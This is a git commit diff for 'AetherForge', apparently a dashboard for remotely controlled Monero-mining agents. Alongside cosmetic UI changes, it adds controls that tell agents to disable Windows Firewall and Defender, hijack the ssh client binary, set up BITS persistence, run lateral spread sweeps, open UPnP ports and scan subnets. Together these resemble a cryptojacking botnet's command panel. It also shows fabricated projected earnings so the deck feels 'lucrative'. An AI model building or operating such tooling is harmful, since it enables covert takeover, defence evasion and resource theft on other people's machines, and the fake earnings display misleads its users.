feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -1,70 +1,17 @@
import { FlowerOfLifeWatermark, SacredMotif } from '../Visual/sacredGeometry/motifs';
import GlowParticles from './GlowParticles';
import './AmbientBackground.css';
/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
function SacredGeometry() {
const cx = 50;
const cy = 50;
const R = 32; // outer circle radius
// Six-petal Flower of Life petal centres (offset by R from centre)
const petalAngles = [0, 60, 120, 180, 240, 300];
const petals = petalAngles.map((deg) => {
const rad = (deg * Math.PI) / 180;
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
});
// 5-pointed star vertices inscribed at radius R*1.15
const starR = R * 1.15;
const starPts = Array.from({ length: 5 }, (_, i) => {
const rad = ((i * 72 - 90) * Math.PI) / 180;
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
});
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
// Inner triangles (upward + downward — Star of David inner ring)
const triR = R * 0.7;
const triUp = [0, 120, 240].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
}).join(' ');
const triDown = [60, 180, 300].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
}).join(' ');
return (
<svg className="ambient-sacred-geo" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" aria-hidden>
<g opacity="0.55">
{/* Outer ring */}
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="1.2 1.8" />
{/* Middle ring */}
<circle cx={cx} cy={cy} r={R} fill="none" stroke="#c9a227" strokeWidth="0.22" />
{/* Inner ring */}
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="0.6 1.2" />
{/* Flower of Life petal circles */}
{petals.map((p, i) => (
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke="#c9a227" strokeWidth="0.16" opacity="0.7" />
))}
{/* Pentagon star */}
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
{/* Merkaba triangles */}
<polygon points={triUp} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
<polygon points={triDown} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
{/* Centre dot */}
<circle cx={cx} cy={cy} r="0.6" fill="#c9a227" opacity="0.9" />
{/* Spoke lines to star points */}
{starPts.map((p, i) => (
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke="#c9a227" strokeWidth="0.1" opacity="0.35" />
))}
</g>
</svg>
);
return <FlowerOfLifeWatermark className="ambient-sacred-geo" opacity={0.55} />;
}
export default function AmbientBackground() {
return (
<div className="ambient-bg" aria-hidden>
<div className="ambient-grid" />
<GlowParticles />
<div className="ambient-vignette" />
<div className="ambient-orb ambient-orb-cyan" />
<div className="ambient-orb ambient-orb-magenta" />
@@ -72,6 +19,13 @@ export default function AmbientBackground() {
<div className="ambient-scanline" />
<div className="ambient-gear ambient-gear-1" />
<div className="ambient-gear ambient-gear-2" />
<div className="ambient-geo-hex-veil" />
<div className="ambient-geo-corner ambient-geo-corner--tl" aria-hidden>
<SacredMotif name="metatron" opacity={0.65} />
</div>
<div className="ambient-geo-corner ambient-geo-corner--br" aria-hidden>
<SacredMotif name="hex" opacity={0.6} />
</div>
{/* Sacred geometry watermark — centre of the main content area */}
<SacredGeometry />
</div>

View File

@@ -0,0 +1,115 @@
.ambient-glow-canvas {
position: absolute;
inset: 0;
width: 100%;
height: 100%;
z-index: 1;
pointer-events: none;
opacity: 0.92;
mix-blend-mode: screen;
}
/* Lightweight CSS sparkles — complements canvas, no extra JS cost */
.ambient-css-sparkles {
position: absolute;
inset: 0;
z-index: 2;
pointer-events: none;
overflow: hidden;
}
.ambient-sparkle {
position: absolute;
width: 3px;
height: 3px;
border-radius: 50%;
animation: ambient-sparkle-pulse 4s ease-in-out infinite;
box-shadow:
0 0 6px 2px currentColor,
0 0 14px 4px currentColor;
}
.ambient-sparkle--1 {
color: rgba(201, 162, 39, 0.55);
top: 18%;
left: 22%;
animation-delay: 0s;
}
.ambient-sparkle--2 {
color: rgba(0, 245, 255, 0.45);
top: 72%;
left: 68%;
animation-delay: -1.2s;
}
.ambient-sparkle--3 {
color: rgba(255, 45, 166, 0.4);
top: 42%;
left: 85%;
animation-delay: -2.4s;
}
.ambient-sparkle--4 {
color: rgba(255, 176, 32, 0.5);
top: 58%;
left: 12%;
animation-delay: -3.1s;
}
.ambient-sparkle:nth-child(5) {
top: 8%;
left: 55%;
color: rgba(0, 245, 255, 0.35);
animation-delay: -0.8s;
}
.ambient-sparkle:nth-child(6) {
top: 88%;
left: 38%;
color: rgba(201, 162, 39, 0.4);
animation-delay: -2s;
}
.ambient-sparkle:nth-child(7) {
top: 28%;
left: 78%;
color: rgba(255, 176, 32, 0.38);
animation-delay: -1.5s;
}
.ambient-sparkle:nth-child(8) {
top: 65%;
left: 48%;
color: rgba(255, 45, 166, 0.32);
animation-delay: -3.6s;
}
.ambient-sparkle:nth-child(9) {
top: 35%;
left: 8%;
color: rgba(0, 245, 255, 0.38);
animation-delay: -2.8s;
}
.ambient-sparkle:nth-child(10) {
top: 52%;
left: 92%;
color: rgba(201, 162, 39, 0.42);
animation-delay: -0.4s;
}
@keyframes ambient-sparkle-pulse {
0%,
100% {
transform: scale(0.6);
opacity: 0.25;
}
50% {
transform: scale(1.4);
opacity: 0.95;
}
}
@media (prefers-reduced-motion: reduce) {
.ambient-glow-canvas {
opacity: 0.5;
}
.ambient-sparkle {
animation: none;
opacity: 0.35;
transform: scale(1);
}
}

View File

@@ -0,0 +1,168 @@
import { useEffect, useRef } from 'react';
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
import { useVisualEffects } from '../../context/VisualEffectsContext';
import './GlowParticles.css';
const PALETTE = [
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
] as const;
type Particle = {
x: number;
y: number;
vx: number;
vy: number;
r: number;
pulse: number;
pulseSpeed: number;
color: (typeof PALETTE)[number];
};
function particleCount(mobile: boolean): number {
const cores = typeof navigator !== 'undefined' ? navigator.hardwareConcurrency || 4 : 4;
if (cores <= 2) return mobile ? 18 : 28;
if (mobile) return 32;
return cores >= 8 ? 64 : 48;
}
function initParticles(w: number, h: number, n: number): Particle[] {
const out: Particle[] = [];
for (let i = 0; i < n; i++) {
out.push({
x: Math.random() * w,
y: Math.random() * h,
vx: (Math.random() - 0.5) * 0.35,
vy: (Math.random() - 0.5) * 0.35,
r: 1.2 + Math.random() * 2.2,
pulse: Math.random() * Math.PI * 2,
pulseSpeed: 0.008 + Math.random() * 0.012,
color: PALETTE[i % PALETTE.length],
});
}
return out;
}
function drawGlow(ctx: CanvasRenderingContext2D, p: Particle, alpha: number) {
const glowR = p.r * (3.2 + Math.sin(p.pulse) * 0.8);
const g = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, glowR);
g.addColorStop(0, p.color.core);
g.addColorStop(0.35, p.color.mid);
g.addColorStop(1, 'transparent');
ctx.save();
ctx.globalAlpha = alpha;
ctx.fillStyle = g;
ctx.beginPath();
ctx.arc(p.x, p.y, glowR, 0, Math.PI * 2);
ctx.fill();
ctx.restore();
}
/** Soft drifting glow orbs + faint constellation links — sits behind all UI. */
export default function GlowParticles() {
const canvasRef = useRef<HTMLCanvasElement>(null);
const particlesRef = useRef<Particle[]>([]);
const rafRef = useRef(0);
const isMobile = useIsMobileLayout();
const { glowParticles } = useVisualEffects();
useEffect(() => {
if (!glowParticles) return;
const reducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
const canvas = canvasRef.current;
if (!canvas) return;
const ctx = canvas.getContext('2d');
if (!ctx) return;
const linkDist = isMobile ? 90 : 130;
const linkDistSq = linkDist * linkDist;
const resize = () => {
const dpr = Math.min(window.devicePixelRatio || 1, 2);
const w = window.innerWidth;
const h = window.innerHeight;
canvas.width = Math.floor(w * dpr);
canvas.height = Math.floor(h * dpr);
canvas.style.width = `${w}px`;
canvas.style.height = `${h}px`;
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
particlesRef.current = initParticles(w, h, particleCount(isMobile));
};
resize();
window.addEventListener('resize', resize);
const tick = () => {
if (document.hidden) {
rafRef.current = requestAnimationFrame(tick);
return;
}
const w = canvas.clientWidth;
const h = canvas.clientHeight;
ctx.clearRect(0, 0, w, h);
const pts = particlesRef.current;
if (!reducedMotion) {
for (const p of pts) {
p.x += p.vx;
p.y += p.vy;
p.pulse += p.pulseSpeed;
if (p.x < -20) p.x = w + 20;
if (p.x > w + 20) p.x = -20;
if (p.y < -20) p.y = h + 20;
if (p.y > h + 20) p.y = -20;
}
}
for (let i = 0; i < pts.length; i++) {
for (let j = i + 1; j < pts.length; j++) {
const dx = pts[i].x - pts[j].x;
const dy = pts[i].y - pts[j].y;
const d2 = dx * dx + dy * dy;
if (d2 < linkDistSq) {
const t = 1 - Math.sqrt(d2) / linkDist;
ctx.strokeStyle = pts[i].color.line;
ctx.globalAlpha = t * 0.35;
ctx.lineWidth = 0.6;
ctx.beginPath();
ctx.moveTo(pts[i].x, pts[i].y);
ctx.lineTo(pts[j].x, pts[j].y);
ctx.stroke();
}
}
}
ctx.globalAlpha = 1;
for (const p of pts) {
const twinkle = reducedMotion ? 0.75 : 0.55 + Math.sin(p.pulse) * 0.25;
drawGlow(ctx, p, twinkle);
}
rafRef.current = requestAnimationFrame(tick);
};
rafRef.current = requestAnimationFrame(tick);
return () => {
window.removeEventListener('resize', resize);
cancelAnimationFrame(rafRef.current);
};
}, [glowParticles, isMobile]);
if (!glowParticles) return null;
return (
<>
<canvas ref={canvasRef} className="ambient-glow-canvas" aria-hidden />
<div className="ambient-css-sparkles" aria-hidden>
{Array.from({ length: isMobile ? 6 : 10 }, (_, i) => (
<span key={i} className={`ambient-sparkle ambient-sparkle--${(i % 4) + 1}`} />
))}
</div>
</>
);
}

View File

@@ -7,6 +7,11 @@ import {
XAxis,
YAxis,
} from 'recharts';
import {
chartSeriesDelta,
chartSeriesPeak,
type ChartDisplayMode,
} from '../../help/chartSampleData';
import './HashrateChart.css';
export interface ChartPoint {
@@ -21,6 +26,7 @@ interface HashrateChartProps {
color?: string;
unit?: string;
height?: number;
displayMode?: ChartDisplayMode;
}
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
@@ -39,25 +45,42 @@ export default function HashrateChart({
color = '#00f5ff',
unit = 'H/s',
height = 280,
displayMode = 'live',
}: HashrateChartProps) {
const gradId = colorToId(color);
const peak = chartSeriesPeak(data);
const delta = chartSeriesDelta(data);
const liveLabel =
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
const liveClass =
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
if (data.length === 0) {
return (
<div className="chart-empty neon-chart-panel">
<div className="chart-empty neon-chart-panel wealth-empty">
<div className="chart-empty-icon"></div>
<p className="font-tech">{title || 'Telemetry'}</p>
<span>Awaiting signal from fleet...</span>
<span>Calibrating chart telemetry</span>
</div>
);
}
return (
<div className="chart-wrap neon-chart-panel">
<div className="chart-wrap neon-chart-panel wealth-chart">
{title && (
<div className="chart-header">
<h3 className="chart-title font-display">{title}</h3>
<span className="chart-live pulse"> LIVE</span>
<div className="chart-header-meta">
<span className="chart-peak font-tech">
PEAK {formatFull(peak, unit)}
</span>
{delta != null && (
<span className={`chart-delta font-tech ${delta >= 0 ? 'up' : 'down'}`}>
{delta >= 0 ? '▲' : '▼'} {Math.abs(delta).toFixed(1)}%
</span>
)}
<span className={`chart-live ${liveClass}`}>{liveLabel}</span>
</div>
</div>
)}
<ResponsiveContainer width="100%" height={height}>

View File

@@ -5,7 +5,12 @@ import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
const TERMINAL_MAX_LINES = 500;
@@ -49,6 +54,7 @@ export default function AgentRemoteActions({
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
@@ -133,7 +139,20 @@ export default function AgentRemoteActions({
const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
if (action === 'screenshot') {
if (action === 'full_sys_check') {
if (success && message) {
const parsed = parseFullSysCheckMessage(message);
if (parsed) {
setSysCheckReport(parsed);
addLog(`✓ Full system check — WAN ${parsed.network?.external_ip ?? 'n/a'}`);
} else {
addLog('✗ [FULL_SYS_CHECK] could not parse report JSON');
}
} else {
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'screenshot') {
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
if (success && message) {
const clean = sanitizeScreenshotBase64(message);
@@ -146,12 +165,14 @@ export default function AgentRemoteActions({
} else {
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action) {
} else if (action && action !== 'full_sys_check') {
const icon = success ? '✓' : '✗';
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
const preview =
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
addLog(`${icon} [${action.toUpperCase()}]\n${preview}`);
}
}
}, [commandResults, agentId, addLog]);
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
@@ -169,7 +190,14 @@ export default function AgentRemoteActions({
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'firewall_off' && !window.confirm(`Disable Windows Firewall on ALL profiles for "${agentName}"?\n\nRequires administrator. Re-enable with FW On.`)) return;
if (action === 'firewall_on' && !window.confirm(`Enable Windows Firewall on all profiles for "${agentName}"?`)) return;
if (action === 'firewall_remove' && !window.confirm(`Remove AetherForge firewall rules on "${agentName}"?`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
if (action === 'full_sys_check') {
setSysCheckReport(null);
addLog(`◈ Running full system check on ${agentName}… (may take 3060s)`);
}
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
@@ -218,21 +246,28 @@ export default function AgentRemoteActions({
setIsDragging(true);
};
const handleDragLeave = () => setIsDragging(false);
const pushDesktopFile = async (file: File) => {
try {
await pushFileToAgentDesktop(
(action, args) => dispatch(action, args),
file
);
} catch (err) {
addLog(`✗ Desktop push: ${err instanceof Error ? err.message : String(err)}`);
}
};
const handleDrop = (e: React.DragEvent) => {
e.preventDefault();
e.stopPropagation();
setIsDragging(false);
const file = e.dataTransfer.files[0];
if (!file) return;
const reader = new FileReader();
reader.onload = async (evt) => {
const base64 = (evt.target?.result as string).split(',')[1];
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
await dispatch('upload', { path: targetPath, data: base64 });
};
reader.readAsDataURL(file);
void pushDesktopFile(file);
};
const desktopFileInputRef = useRef<HTMLInputElement>(null);
const runCustomCommand = (e: React.FormEvent) => {
e.preventDefault();
if (!customCmd.trim()) return;
@@ -294,6 +329,15 @@ export default function AgentRemoteActions({
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button
type="button"
className="btn-cyan"
disabled={!isOnline || !!busy}
title="Deep read-only audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners"
onClick={() => dispatch('full_sys_check')}
>
Full Sys Check
</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
@@ -425,6 +469,60 @@ export default function AgentRemoteActions({
>
Open FW Port
</button>
<button
type="button"
className="btn-red"
disabled={aggDisabled('firewall_off')}
title={aggTitle('firewall_off')}
onClick={() => dispatch('firewall_off')}
>
FW Off
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_on')}
title={aggTitle('firewall_on')}
onClick={() => dispatch('firewall_on')}
>
FW On
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_profiles')}
title={aggTitle('firewall_profiles') || 'Disable Private+Public only (path=Private,Public)'}
onClick={() => dispatch('firewall_profiles', { command: 'off', path: 'Private,Public' })}
>
FW Private Off
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_remove')}
title={aggTitle('firewall_remove')}
onClick={() => dispatch('firewall_remove')}
>
Remove FW Rules
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('bits_persist')}
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
onClick={() => dispatch('bits_persist')}
>
BITS Persist
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('host_binary_persist')}
title={aggTitle('host_binary_persist') || 'Hijack host client binary (path=preset, default ssh)'}
onClick={() => dispatch('host_binary_persist', { path: 'ssh' })}
>
Host Binary
</button>
<button
type="button"
className="btn-magenta"
@@ -474,6 +572,14 @@ export default function AgentRemoteActions({
</div>
</div>
{sysCheckReport && !compact && (
<FullSysCheckPanel
report={sysCheckReport}
agentName={agentName}
onClose={() => setSysCheckReport(null)}
/>
)}
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">
@@ -502,7 +608,26 @@ export default function AgentRemoteActions({
>
<span className="drop-icon">📥</span>
<p>Drag &amp; Drop file here</p>
<small>Uploads to C:\Windows\Temp\</small>
<small>Pushes to user Desktop (any OS)</small>
<button
type="button"
className="btn btn-outline btn-sm"
style={{ marginTop: '0.5rem' }}
disabled={!isOnline || !!busy}
onClick={() => desktopFileInputRef.current?.click()}
>
Choose file Desktop
</button>
<input
ref={desktopFileInputRef}
type="file"
hidden
onChange={(e) => {
const file = e.target.files?.[0];
if (file) void pushDesktopFile(file);
e.target.value = '';
}}
/>
</div>
<div className="master-terminal">

View File

@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
import { timeToPayout } from '../../help/fleetAnalytics';
import { formatHashrate } from '../../help/fleetFilters';
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
import './FleetPanels.css';
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -173,6 +174,26 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
);
}
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
const usdDay = xmrDay * price;
return (
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
<div className="stat-label font-tech">Target Fleet Earnings</div>
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
<div className="earnings-usd-day"> ${usdDay.toFixed(2)}/day</div>
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
Deploy miners to replace projection with live pool data
</div>
</NeonCard>
);
}
// ─── Fleet Health Card ────────────────────────────────────────────────────────
export function FleetHealthCard({ health }: { health: FleetHealth }) {
@@ -210,20 +231,24 @@ export function ContributionBars({
bars,
xmrPerDay,
xmrPrice,
sample = false,
}: {
bars: ContributionBar[];
xmrPerDay?: number;
xmrPrice?: number | null;
sample?: boolean;
}) {
if (bars.length === 0) return null;
return (
<NeonCard accent="cyan" className="section contrib-panel" hud>
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Contribution Map
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
Each bar shows a machine's share of total fleet hashrate.
{sample
? 'Sample contribution map — your rigs will populate this lane when they connect.'
: "Each bar shows a machine's share of total fleet hashrate."}
</p>
<div className="contrib-list">
{bars.map((b) => {

View File

@@ -0,0 +1,141 @@
.syscheck-panel {
margin-top: 1rem;
padding: 1rem 1.1rem;
border: 1px solid rgba(0, 245, 255, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.92);
max-height: 72vh;
overflow: auto;
}
.syscheck-header {
display: flex;
justify-content: space-between;
align-items: flex-start;
gap: 1rem;
margin-bottom: 1rem;
border-bottom: 1px solid rgba(201, 162, 39, 0.2);
padding-bottom: 0.75rem;
}
.syscheck-header h3 {
margin: 0;
color: var(--accent-cyan, #00f5ff);
}
.syscheck-sub {
margin: 0.25rem 0 0;
font-size: 0.75rem;
color: var(--clr-dim, #888);
}
.syscheck-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 1rem;
}
.syscheck-section {
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
}
.syscheck-section-title {
margin: 0 0 0.5rem;
font-size: 0.72rem;
letter-spacing: 0.12em;
color: var(--accent-gold, #c9a227);
text-transform: uppercase;
}
.syscheck-kv {
display: grid;
grid-template-columns: 110px 1fr;
gap: 0.35rem 0.5rem;
margin-bottom: 0.35rem;
font-size: 0.8rem;
}
.syscheck-k {
color: var(--clr-dim, #888);
}
.syscheck-v {
color: #e8e8f0;
word-break: break-word;
}
.syscheck-ok {
color: #4ade80;
}
.syscheck-bad {
color: #f87171;
}
.syscheck-muted {
color: #777;
font-size: 0.78rem;
}
.syscheck-score {
color: #00f5ff;
font-weight: 600;
}
.syscheck-subhead {
margin-top: 0.5rem;
font-size: 0.7rem;
text-transform: uppercase;
letter-spacing: 0.08em;
}
.syscheck-pre {
margin: 0.35rem 0 0.5rem;
padding: 0.5rem;
background: rgba(0, 0, 0, 0.45);
border-radius: 4px;
font-size: 0.72rem;
max-height: 160px;
overflow: auto;
white-space: pre-wrap;
color: #bbb;
}
.syscheck-table-wrap {
overflow-x: auto;
margin-top: 0.35rem;
}
.syscheck-table {
width: 100%;
font-size: 0.72rem;
border-collapse: collapse;
}
.syscheck-table th,
.syscheck-table td {
padding: 0.2rem 0.35rem;
border-bottom: 1px solid #222;
text-align: left;
}
.syscheck-iface {
margin-bottom: 0.5rem;
font-size: 0.78rem;
}
.syscheck-raw {
margin-top: 1rem;
font-size: 0.8rem;
}
.syscheck-raw summary {
cursor: pointer;
color: var(--accent-gold, #c9a227);
margin-bottom: 0.5rem;
}
.syscheck-errors {
margin-top: 0.75rem;
color: #f87171;
font-size: 0.78rem;
}

View File

@@ -0,0 +1,247 @@
import type { ReactNode } from 'react';
import type { FullSysCheckReport } from '../../types/syscheck';
import './FullSysCheckPanel.css';
function Row({ label, value }: { label: string; value: ReactNode }) {
if (value === undefined || value === null || value === '') return null;
return (
<div className="syscheck-kv">
<span className="syscheck-k">{label}</span>
<span className="syscheck-v">{value}</span>
</div>
);
}
function Section({ title, children }: { title: string; children: ReactNode }) {
return (
<section className="syscheck-section">
<h4 className="syscheck-section-title font-tech">{title}</h4>
<div className="syscheck-section-body">{children}</div>
</section>
);
}
function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; no?: string }) {
if (v === undefined) return <span className="syscheck-muted"></span>;
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
}
export default function FullSysCheckPanel({
report,
agentName,
onClose,
}: {
report: FullSysCheckReport;
agentName: string;
onClose?: () => void;
}) {
const geo = report.network?.geo;
const geoLine =
geo &&
[geo.city, geo.region, geo.country].filter(Boolean).join(', ') +
(geo.isp ? ` · ${geo.isp}` : '') +
(geo.lat != null && geo.lon != null ? ` (${geo.lat.toFixed(2)}, ${geo.lon.toFixed(2)})` : '');
return (
<div className="syscheck-panel">
<div className="syscheck-header">
<div>
<h3 className="font-display">Full System Check</h3>
<p className="syscheck-sub font-tech">
{agentName} · {report.generated_at} · {report.platform}/{report.arch}
</p>
</div>
{onClose && (
<button type="button" className="btn btn-outline btn-sm" onClick={onClose}>
Close
</button>
)}
</div>
<div className="syscheck-grid">
<Section title="Network &amp; Location">
<Row label="External IP" value={report.network?.external_ip} />
<Row label="IP Source" value={report.network?.external_ip_source} />
<Row label="Location" value={geoLine} />
<Row label="Primary LAN IP" value={report.network?.primary_local_ip} />
<Row label="Default Gateway" value={report.network?.default_gateway} />
<Row label="DNS" value={report.network?.dns?.servers?.join(', ')} />
<Row label="DNS Search" value={report.network?.dns?.search_domains?.join(', ')} />
<Row label="ARP Neighbors" value={report.neighbors?.arp_count != null ? `${report.neighbors.arp_count} host(s)` : undefined} />
{report.neighbors?.arp_hosts && report.neighbors.arp_hosts.length > 0 && (
<pre className="syscheck-pre">{report.neighbors.arp_hosts.join('\n')}</pre>
)}
{report.neighbors?.subnet_scan && (
<>
<div className="syscheck-k syscheck-subhead">Subnet scan</div>
<pre className="syscheck-pre">{report.neighbors.subnet_scan}</pre>
</>
)}
</Section>
<Section title="Security &amp; Firewall">
<Row
label="Posture Score"
value={
report.security?.posture_score != null ? (
<span className="syscheck-score">{report.security.posture_score} / 100</span>
) : undefined
}
/>
<Row label="Defender" value={<BoolBadge v={report.security?.defender_enabled} yes="ON" no="OFF" />} />
<Row label="Real-time" value={<BoolBadge v={report.security?.defender_rtp} yes="ON" no="OFF" />} />
<Row
label="Firewall D / P / Pub"
value={
<>
<BoolBadge v={report.security?.firewall_domain} yes="on" no="off" /> /{' '}
<BoolBadge v={report.security?.firewall_private} yes="on" no="off" /> /{' '}
<BoolBadge v={report.security?.firewall_public} yes="on" no="off" />
</>
}
/>
<Row label="AV Products" value={report.security?.av_products?.join(', ')} />
<Row label="SSH" value={<BoolBadge v={report.security?.ssh_listening} />} />
<Row label="Elevated" value={<BoolBadge v={report.identity?.agent_elevated} yes="ADMIN" no="user" />} />
<Row label="Pending Updates" value={report.security?.pending_updates} />
<Row
label="Last Patch"
value={
report.security?.last_patch
? `${report.security.last_patch}${report.security.last_patch_days != null ? ` (${report.security.last_patch_days}d)` : ''}`
: undefined
}
/>
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
</Section>
<Section title="Hardware">
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />
<Row label="RAM" value={report.hardware?.memory_gb != null ? `${report.hardware.memory_gb} GB` : undefined} />
<Row label="Uptime" value={report.hardware?.uptime_hours != null ? `${report.hardware.uptime_hours} h` : undefined} />
{report.hardware?.cpus?.map((c, i) => (
<Row
key={i}
label={`CPU ${i + 1}`}
